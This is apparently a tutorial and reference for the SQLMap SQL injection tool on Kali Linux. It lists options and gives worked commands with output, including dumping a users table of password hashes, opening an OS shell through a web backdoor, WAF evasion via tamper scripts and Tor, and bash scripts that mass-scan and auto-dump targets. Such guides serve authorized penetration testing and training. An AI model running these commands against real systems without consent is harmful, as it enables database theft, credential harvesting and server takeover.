SQLMap is a free, open-source penetration testing tool written in Python that automates the process of detecting and exploiting SQL injection (SQLi) vulnerabilities and taking over database servers. It was created by Bernardo Damele and Miroslav Stampar and is maintained as an active open-source project on GitHub. SQLMap is considered the de-facto industry standard for automated SQL injection testing and is included by default in Kali Linux, Parrot OS, and most other penetration testing distributions.
SQLMap comes with a powerful detection engine capable of identifying six different types of SQL injection:
- Boolean-based blind — infers true/false conditions from differences in page content.
- Time-based blind — infers true/false conditions from response time delays (e.g.,
SLEEP()). - Error-based — extracts data directly from database error messages.
- UNI ON query-based — appends a UNI ON SELECT statement to retrieve data in the same response.
- Stacked queries — executes multiple statements separated by semicolons (where supported).
- Out-of-band (OOB) — exfiltrates data through DNS or HTTP requests initiated by the database.
It supports a very broad set of database management systems, including MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, IBM DB2, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, Amazon Redshift, Vertica, Cache, H2, MonetDB, Presto, Apache Derby, and CockroachDB.
Beyond simple data extraction, SQLMap can fingerprint the back-end DBMS and its version, dump entire databases/tables/columns, read and write files on the underlying filesystem (when privileges allow), execute arbitrary operating-system commands via --os-shell or --os-pwn, establish an out-of-band connection, crack password hashes, and enumerate users, privileges, roles, and databases. It also includes a built-in tamper script engine to bypass Web Application Firewalls (WAFs) and Intrusion Detection/Prevention Systems (IDS/IPS).
Installation
SQLMap comes pre-installed on Kali Linux. You can verify and update it as follows.
Verify Pre-Installed Version (Kali Linux)
sqlmap --version
Update via APT (Kali Linux)
sudo apt update
sudo apt install sqlmap -y
Install/Update from Source (Git — Latest Development Version)
sudo git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git /opt/sqlmap-dev
cd /opt/sqlmap-dev
python3 sqlmap.py --version
Install via pip (cross-platform)
pip3 install sqlmap --break-system-packages
Requirements
- Python 3.6 or higher (Python 2.7 for legacy versions)
- Works on Linux, Windows, macOS (any platform with a Python interpreter)
Verify Installation
which sqlmap
sqlmap --version
Expected output:
/usr/bin/sqlmap
1.8.11#stable
Syntax
The general syntax for SQLMap is:
sqlmap [options]
Most common working form:
sqlmap -u "<target-url>" [detection-options] [enumeration-options] [technique-options] [request-options]
Example minimal invocation:
sqlmap -u "http://target.com/item.php?id=1"
Command-Line Options Reference (Kali Linux)
SQLMap’s options are grouped into logical categories. Below is the comprehensive reference as available in the Kali Linux build.
Target Options
| Option | Description |
|---|---|
-u, --url=URL | Target URL (e.g. "http://www.site.com/vuln.php?id=1") |
-g GOOGLEDORK | Process Google dork results as target URLs |
-m BULKFILE | Scan multiple targets given in a textual file |
-r REQUESTFILE | Load HTTP request from a file (Burp/ZAP-captured request) |
-l LOGFILE | Parse targets from a Burp/WebScarab proxy log |
-x SITEMAPURL | Parse targets from a remote sitemap(.xml) file |
--wizard | Simple wizard interface for beginners |
Request Options
| Option | Description |
|---|---|
--data=DATA | Data string to be sent through POST |
--param-del=PARAM_DEL | Character used for splitting parameter values |
--cookie=COOKIE | HTTP Cookie header value |
--cookie-del=COOKIE_DEL | Character used for splitting cookie values |
--live-cookies=LC | Live cookies file |
--load-cookies=LC | File containing cookies in Netscape/wget format |
--drop-set-cookie | Ignore Set-Cookie header from response |
--http2 | Use HTTP version 2 |
--random-agent | Use randomly selected User-Agent |
--host=HOST | HTTP Host header value |
--referer=REFERER | HTTP Referer header value |
-A, --user-agent=AGENT | HTTP User-Agent header value |
-H, --header=HEADER | Extra header (e.g. "X-Forwarded-For: 127.0.0.1") |
--headers=HEADERS | Extra headers, newline separated |
--auth-type=AUTH_TYPE | HTTP authentication type (Basic, Digest, Bearer, NTLM) |
--auth-cred=AUTH_CRED | HTTP authentication credentials (name:password) |
--auth-file=AUTH_FILE | HTTP authentication PEM cert/private key file |
--abort-code=ABORT_CODE | HTTP code(s) to abort on (comma separated) |
--ignore-code=IGNORE_CODE | HTTP error code(s) to ignore |
--ignore-proxy | Ignore system default proxy |
--ignore-redirects | Ignore redirection attempts |
--ignore-timeouts | Ignore connection timeouts |
--proxy=PROXY | Use a proxy (e.g. http://127.0.0.1:8080) |
--proxy-cred=PROXY_CRED | Proxy authentication credentials |
--proxy-file=PROXY_FILE | Load proxy list from a file |
--tor | Use the Tor anonymity network |
--tor-port=TOR_PORT | Set Tor proxy port |
--tor-type=TOR_TYPE | Tor proxy type (HTTP, SOCKS4, SOCKS5) |
--check-tor | Check whether Tor is used properly |
--delay=DELAY | Delay in seconds between HTTP requests |
--timeout=TIMEOUT | Seconds to wait before connection timeout |
--retries=RETRIES | Retries when connection times out |
--randomize=RPARAM | Randomize the value for given parameter |
--safe-url=SAFURL | URL to visit frequently during testing |
--safe-freq=SAFEFREQ | Test requests between safe URL visits |
--skip-urlencode | Skip URL encoding of payload data |
--csrf-token=CSRF_TOKEN | Parameter name holding an anti-CSRF token |
--csrf-url=CSRF_URL | URL to visit for extracting anti-CSRF token |
--force-ssl | Force usage of SSL/HTTPS |
--chunked | Use HTTP chunked transfer encoded (POST) requests |
--hpp | Use HTTP parameter pollution |
--eval=EVALCODE | Evaluate provided Python code before request |
Optimization Options
| Option | Description |
|---|---|
-o | Turn on all optimization switches |
--predict-output | Predict common queries output |
--keep-alive | Use persistent HTTP(s) connections |
--null-connection | Retrieve page length without an actual HTTP response body |
--threads=THREADS | Max number of concurrent HTTP requests (max 10) |
Injection Options
| Option | Description |
|---|---|
-p TESTPARAMETER | Testable parameter(s) |
--skip=SKIP | Skip testing for given parameter(s) |
--skip-static | Skip testing parameters not appearing dynamic |
--param-exclude=REGEX | Regex to exclude parameters from testing |
--dbms=DBMS | Force back-end DBMS to this value |
--dbms-cred=DBMS_CRED | DBMS authentication credentials |
--os=OS | Force back-end DBMS operating system |
--invalid-bignum | Use big numbers for invalidating values |
--invalid-logical | Use logical operations for invalidating values |
--invalid-string | Use random strings for invalidating values |
--no-cast | Turn off payload casting mechanism |
--no-escape | Turn off string escaping mechanism |
--prefix=PREFIX | Injection payload prefix string |
--suffix=SUFFIX | Injection payload suffix string |
--tamper=TAMPER | Use tamper script(s) for bypassing WAF/IPS |
Detection Options
| Option | Description |
|---|---|
--level=LEVEL | Level of tests to perform (1–5, default 1) |
--risk=RISK | Risk of tests to perform (1–3, default 1) |
--string=STRING | String to match when query is evaluated as True |
--not-string=NOT_STRING | String to match when query is evaluated as False |
--regexp=REGEXP | Regex to match when query is evaluated as True |
--code=CODE | HTTP code to match when query is evaluated as True |
--smart | Perform thorough tests only if positive heuristic |
--text-only | Compare pages based on textual content only |
--titles | Compare pages based on their titles only |
Techniques Options
| Option | Description |
|---|---|
--technique=TECH | SQL injection techniques to use (default BEUSTQ) |
--time-sec=TIMESEC | Seconds to delay the DBMS response (time-based) |
--uni on-cols=UCOLS | Range of columns to test for UNIO N query SQLi |
--unio n-char=UCHAR | Character to use for bruteforcing column count |
--unio n-from=UFROM | Table to use in FROM part of UNI ON query SQLi |
--uni on-values=UVALUES | Column values to use for UNI ON query SQLi |
--dns-domain=DNS_DOMAIN | Domain name used for DNS exfiltration attack |
--second-order=SECOND_ORDER | Resulting page URL searched for second-order response |
(Technique letters: B=Boolean-based blind, E=Error-based, U=UNIO N query-based, S=Stacked queries, T=Time-based blind, Q=Inline queries, O=Out-of-band)
Fingerprint Options
| Option | Description |
|---|---|
-f, --fingerprint | Perform extensive DBMS version fingerprint |
Enumeration Options
| Option | Description |
|---|---|
-a, --all | Retrieve everything |
-b, --banner | Retrieve DBMS banner |
--current-user | Retrieve DBMS current user |
--current-db | Retrieve DBMS current database |
--hostname | Retrieve DBMS server hostname |
--is-dba | Detect if current user is DBA |
--users | Enumerate DBMS users |
--passwords | Enumerate DBMS users password hashes |
--privileges | Enumerate DBMS users privileges |
--roles | Enumerate DBMS users roles |
--dbs | Enumerate DBMS databases |
--tables | Enumerate DBMS database tables |
--columns | Enumerate DBMS database table columns |
--schema | Enumerate DBMS schema |
--count | Retrieve number of entries for table(s) |
--dump | Dump DBMS database table entries |
--dump-all | Dump all DBMS databases tables entries |
--search | Search for column(s), table(s), and/or database name(s) |
--comments | Retrieve DBMS comments |
--statements | Retrieve SQL statements being run on DBMS |
-D DB | DBMS database to enumerate |
-T TBL | DBMS database table(s) to enumerate |
-C COL | DBMS database table column(s) to enumerate |
-X EXCLUDECOL | DBMS database table column(s) to not enumerate |
-U USER | DBMS user to enumerate |
--exclude-sysdbs | Exclude DBMS system databases when enumerating |
--pivot-column=PIVOT_COLUMN | Pivot column name |
--where=DUMPWHERE | Use WHERE condition while dumping entries |
--start=LIMITSTART | First dump table entry to retrieve |
--stop=LIMITSTOP | Last dump table entry to retrieve |
--first=FIRSTCHAR | First query output word character to retrieve |
--last=LASTCHAR | Last query output word character to retrieve |
--sql-query=QUERY | SQL statement to be executed |
--sql-shell | Prompt for an interactive SQL shell |
--sql-file=SQLFILE | Execute SQL statements from a given file |
Brute Force Options
| Option | Description |
|---|---|
--common-tables | Check existence of common tables |
--common-columns | Check existence of common columns |
--common-files | Check existence of common files |
User-Defined Function Injection
| Option | Description |
|---|---|
--udf-inject | Inject custom user-defined functions |
--shared-lib=SHLIB | Local path of shared library |
File System Access
| Option | Description |
|---|---|
--file-read=RFILE | Read a file from the back-end DBMS filesystem |
--file-write=WFILE | Write a local file on the back-end DBMS filesystem |
--file-dest=DFILE | Back-end DBMS absolute filepath to write to |
Operating System Access
| Option | Description |
|---|---|
--os-cmd=OSCMD | Execute an operating system command |
--os-shell | Prompt for an interactive operating system shell |
--os-pwn | Prompt for OOB shell, Meterpreter, or VNC |
--os-smbrelay | One-click OOB shell/Meterpreter/VNC via SMB relay |
--os-bof | Stored procedure buffer overflow exploitation |
--priv-esc | Database process user privilege escalation |
--msf-path=MSFPATH | Local path to Metasploit Framework installation |
--tmp-path=TMPPATH | Remote absolute path of temporary files directory |
Windows Registry Access
| Option | Description |
|---|---|
--reg-read | Read a Windows registry key value |
--reg-add | Write a Windows registry key value |
--reg-del | Delete a Windows registry key value |
--reg-key=REGKEY | Windows registry key |
--reg-value=REGVAL | Windows registry key value |
--reg-data=REGDATA | Windows registry key value data |
--reg-type=REGTYPE | Windows registry key value type |
General Options
| Option | Description |
|---|---|
-s SESSIONFILE | Load session from a stored (.sqlite) file |
-t TRAFFICFILE | Log all HTTP traffic into a textual file |
--answers=ANSWERS | Set predefined answers (e.g. "quit=N,follow=N") |
--base64=BASE64PARAM | Parameter(s) containing Base64 encoded data |
--base64-safe | Use URL and filename safe Base64 alphabet |
--batch | Never ask for user input, use default behavior |
--binary-fields=BF | Result fields to be treated as binary |
--check-internet | Check Internet connection before assessing target |
--cleanup | Clean up DBMS from sqlmap-specific UDFs/tables |
--crawl=CRAWLDEPTH | Crawl the website from target URL |
--crawl-exclude=CE | Regex to exclude pages from crawling |
--csv-del=CSVDEL | Delimiter to use in CSV output |
--charset=CHARSET | Blind SQLi charset (heuristic charset guessing) |
--dump-file=DF | Store dumped data into a custom file |
--dump-format=DF | Format of dumped data (CSV, HTML, SQLITE) |
--eta | Display for each output the estimated time of arrival |
--flush-session | Flush session files for current target |
--forms | Parse and test forms on target URL |
--fresh-queries | Ignore query results stored in session file |
--gpage=GOOGLEPAGE | Use Google dork results from specified page |
--identify-waf | Perform thorough WAF/IPS/IDS identification |
--ignore-401 | Ignore HTTP error 401 (Unauthorized) |
--list-tampers | Display list of available tamper scripts |
--mobile | Imitate smartphone via HTTP User-Agent header |
--offline | Work in offline mode (only use session data) |
--output-dir=OD | Custom output directory path |
--parse-errors | Parse and display DBMS error messages from responses |
--preprocess=PREPROCESS | Preprocess input (e.g. header values) with given script |
--postprocess=POSTPROCESS | Postprocess output with given script |
--repair | Redump entries with unknown character marker |
--save=SAVECONFIG | Save options to a configuration INI file |
--scope=SCOPE | Regex to filter targets from provided input |
--test-filter=TF | Select tests by payload/title regex |
--test-skip=TS | Skip tests by payload/title regex |
--update | Update sqlmap |
Miscellaneous Options
| Option | Description |
|---|---|
-z MNEMONICS | Use short mnemonics (e.g. "flu,bat,ban,tec=EU") |
--alert=ALERT | Run host OS command(s) when SQLi is found |
--beep | Beep on question and/or when SQLi is found |
--dependencies | Check for missing (non-core) sqlmap dependencies |
--disable-coloring | Disable console output coloring |
--disable-hashing | Disable hash analysis and cracking |
--list-tampers | List available tamper scripts |
--purge | Safely remove sqlmap’s data directory |
--results-file=RF | Multiple targets results file location |
--shell | Prompt for interactive sqlmap shell |
--tmp-dir=TMPDIR | Local directory for storing temp files |
--unstable | Adjust options for unstable connections |
--update | Update sqlmap to the latest development version |
--wizard | Simple wizard interface for beginners |
-h, --help | Show basic help message and exit |
-hh | Show advanced help message and exit |
--version | Show program version and exit |
-v VERBOSE | Verbosity level (0–6, default 1) |
Basic Usage (Expected Output in Bash)
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"
Expected output:
___
__H__
___ ___[.]_____ ___ ___ {1.8.11#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal.
[*] starting @ 10:41:02 /2026-07-19/
[10:41:02] [INFO] testing connection to the target URL
[10:41:03] [INFO] testing if the target URL content is stable
[10:41:03] [INFO] target URL content is stable
[10:41:03] [INFO] testing if GET parameter 'artist' is dynamic
[10:41:03] [INFO] GET parameter 'artist' appears to be dynamic
[10:41:04] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable
[10:41:04] [INFO] testing for SQL injection on GET parameter 'artist'
[10:41:05] [INFO] GET parameter 'artist' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[10:41:07] [INFO] GET parameter 'artist' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
[10:41:09] [INFO] GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 1=1
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: artist=1 AND (SELECT 2*(IF((1=1),1,0)))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: artist=1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)
---
[10:41:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 7.4.3, Apache 2.4.41
back-end DBMS: MySQL >= 5.0
[10:41:10] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
[*] ending @ 10:41:10 /2026-07-19/
Practical Examples with Output in Bash
Example 1 — Basic Detection
sqlmap -u "http://target.com/product.php?id=3" --batch
[INFO] GET parameter 'id' is 'boolean-based blind' injectable
[INFO] the back-end DBMS is MySQL
[10:42:11] [INFO] fetching current user and database is skipped in batch mode without -a/--all
Example 2 — Enumerate Databases
sqlmap -u "http://target.com/product.php?id=3" --dbs --batch
available databases [3]:
[*] information_schema
[*] shopdb
[*] mysql
Example 3 — Enumerate Tables in a Database
sqlmap -u "http://target.com/product.php?id=3" -D shopdb --tables --batch
Database: shopdb
[4 tables]
+------------+
| users |
| products |
| orders |
| categories |
+------------+
Example 4 — Enumerate Columns of a Table
sqlmap -u "http://target.com/product.php?id=3" -D shopdb -T users --columns --batch
Table: users
[4 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(11) |
| username | varchar(50) |
| password | varchar(255)|
| email | varchar(100)|
+----------+-------------+
Example 5 — Dump Table Data
sqlmap -u "http://target.com/product.php?id=3" -D shopdb -T users -C username,password --dump --batch
Database: shopdb
Table: users
[3 entries]
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| bob | e10adc3949ba59abbe56e057f20f883e |
| alice | 25d55ad283aa400af464c76d713c07ad |
+----------+----------------------------------+
Example 6 — Using a POST Request from a Burp Suite Capture
sqlmap -r login_request.txt -p username --batch --dbs
[INFO] testing if POST parameter 'username' is dynamic
[INFO] POST parameter 'username' appears to be 'AND boolean-based blind' injectable
available databases [2]:
[*] webapp
[*] information_schema
Example 7 — Testing with Cookie-Based Session and Level/Risk Tuning
sqlmap -u "http://target.com/dashboard.php" --cookie="PHPSESSID=abc123; security=low" --level=5 --risk=3 --batch
[10:55:20] [INFO] testing cookie parameter 'security'
[10:55:22] [INFO] cookie parameter 'security' is 'time-based blind' injectable
Example 8 — Bypassing a WAF with a Tamper Script
sqlmap -u "http://target.com/search.php?q=test" --tamper=space2comment --batch
[11:02:03] [INFO] loading tamper module 'space2comment'
[11:02:05] [INFO] GET parameter 'q' appears to be 'time-based blind' injectable
Example 9 — Getting an Interactive OS Shell
sqlmap -u "http://target.com/product.php?id=3" --os-shell --batch
[INFO] the back-end DBMS is MySQL
[INFO] going to use a web backdoor for command execution
[INFO] the web application directory is writable
os-shell> whoami
do you want to retrieve the command standard output? [Y/n] Y
command standard output: 'www-data'
Example 10 — Running a Custom SQL Query
sqlmap -u "http://target.com/product.php?id=3" --sql-query="SELECT version()" --batch
[11:10:44] [INFO] fetching SQL SELECT statement query output: 'SELECT version()'
[*] 10.6.12-MariaDB-0ubuntu0.22.04.1
Example 11 — Scanning Multiple Targets from a File
sqlmap -m targets.txt --batch --dbs
[11:15:02] [INFO] URL 1/5 (http://site1.com/id.php?id=1):
available databases [2]: [*] site1db [*] information_schema
[11:15:20] [INFO] URL 2/5 (http://site2.com/prod.php?p=4):
[WARNING] parameter 'p' does not seem injectable
Example 12 — Crawling a Site for Injectable Forms
sqlmap -u "http://target.com" --crawl=2 --forms --batch
[11:20:11] [INFO] starting crawler for target URL 'http://target.com'
[11:20:14] [INFO] searched for 12 pages, 3 with forms
[11:20:16] [INFO] found 1 injectable form: /search.php (POST)
Common Use Cases
- Vulnerability confirmation during authorized web application penetration tests to prove exploitability of a suspected SQLi finding.
- Database enumeration and data extraction in CTFs and lab environments (DVWA, bWAPP, PortSwigger Academy).
- Post-injection OS command execution to demonstrate full-chain impact (RCE via SQLi) in a red team engagement report.
- Credential harvesting from
users/admintables to demonstrate credential exposure risk. - WAF/IPS bypass testing using tamper scripts to assess the effectiveness of deployed web application firewalls.
- Mass scanning of many endpoints (via
-m) during large-scope authorized assessments. - API/JSON parameter testing using
--datawith JSON bodies to test REST APIs for injectable fields. - Second-order SQLi discovery, where injected input is stored and later executed in a different request/page.
Automation with Bash
Simple Batch Scanner Script
#!/bin/bash
# scan_targets.sh - Automate sqlmap scanning across a list of URLs
TARGET_FILE="targets.txt"
OUTPUT_DIR="sqlmap_results_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"
while IFS= read -r url; do
echo "[*] Scanning: $url"
domain=$(echo "$url" | awk -F/ '{print $3}')
sqlmap -u "$url" --batch --level=3 --risk=2 --dbs \
--output-dir="$OUTPUT_DIR" \
2>&1 | tee "$OUTPUT_DIR/${domain}.log"
echo "[*] Done: $url"
echo "----------------------------------------"
done < "$TARGET_FILE"
echo "[+] All scans complete. Results in $OUTPUT_DIR"
Run it:
chmod +x scan_targets.sh
./scan_targets.sh
Automated Dump-If-Vulnerable Pipeline
#!/bin/bash
# auto_dump.sh - Detect SQLi, then automatically dump if found
URL="$1"
if [ -z "$URL" ]; then
echo "Usage: $0 <target-url>"
exit 1
fi
echo "[*] Testing $URL for SQL injection..."
sqlmap -u "$URL" --batch --level=2 --risk=1 > /tmp/sqlmap_scan.log 2>&1
if grep -q "is vulnerable" /tmp/sqlmap_scan.log || grep -q "injectable" /tmp/sqlmap_scan.log; then
echo "[+] Target appears injectable. Extracting databases..."
sqlmap -u "$URL" --batch --dbs
else
echo "[-] No injection point found."
fi
Cron-Based Recurring Authorized Scan
# crontab -e
# Run authorized weekly scan every Monday at 2 AM against staging environment
0 2 * * 1 /usr/bin/sqlmap -u "http://staging.internal.corp/id.php?id=1" --batch --level=3 --risk=2 --output-dir=/var/log/sqlmap >> /var/log/sqlmap/cron.log 2>&1
Tips and Best Practices
- Always start with
--level=1 --risk=1and increase gradually; higher levels/risks generate many more requests and can trigger WAFs, rate limits, or even data modification on risk 3. - Use
--batchfor unattended automation, but review results manually for false positives before reporting. - Prefer
-r request.txt(a raw HTTP request saved from Burp Suite) over manually crafting-u/--data/--cookieflags — it’s far less error-prone for complex requests with tokens/headers. - Use
--random-agentand--delayto reduce fingerprinting and avoid overwhelming the target server. - Save session state with
-s session.sqliteso long scans can be resumed without re-running detection. - Use
--flush-sessionif the target application has changed and cached session data is stale/misleading. - Combine
--dbms=mysql(or the correct DBMS) when you already know the back end — it speeds up testing significantly by skipping irrelevant payloads. - Use
--tamperscripts thoughtfully — apply only the ones relevant to the WAF/filter you’re facing, chaining too many can break payload syntax. - Always test against a staging/lab copy first if
--risk=3(destructive tests, e.g.OR TIME-BASEDheavy queries) is required. - Use
--technique=to narrow down which SQLi types to test, reducing time when you already know a specific technique works.
Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
unable to connect to the target URL | Target down, wrong URL, network/proxy issue | Verify URL in browser; check --proxy; check --timeout |
parameter appears to be dynamic but no injection found | Insufficient level/risk, WAF filtering payloads | Increase --level/--risk; try --tamper scripts |
| Scan hangs indefinitely | Target rate-limiting or unstable connection | Add --timeout, --retries, --unstable |
all tested parameters do not appear to be injectable | Parameter genuinely not injectable, or requires POST/cookie testing | Test other injection points: cookies, headers, JSON body via --data |
| False positive boolean-based detection | Unstable page content (ads, timestamps) | Use --text-only or --string/--not-string for stable markers |
os-shell fails to upload web backdoor | Web root not writable, wrong absolute path guessed | Manually specify --web-root=/var/www/html |
| Session data seems outdated after app changes | Cached .sqlite session file | Run with --flush-session |
| WAF blocking all requests (403s) | IP-based blocking / signature detection | Use --tor, --tamper, rotate --proxy, add delay |
ERROR: invalid URL | Missing scheme (http:///https://) or malformed URL | Ensure full URL with scheme is passed to -u |
| Garbled/incorrect dumped data | Non-standard charset | Use --charset= to specify correct character set |
References
- Official website: https://sqlmap.org
- GitHub repository: https://github.com/sqlmapproject/sqlmap
- Official user’s manual/wiki: https://github.com/sqlmapproject/sqlmap/wiki
- Kali Linux tool page: https://www.kali.org/tools/sqlmap/
- OWASP SQL Injection reference: https://owasp.org/www-community/attacks/SQL_Injection
- PortSwigger Web Security Academy (SQL injection labs): https://portswigger.net/web-security/sql-injection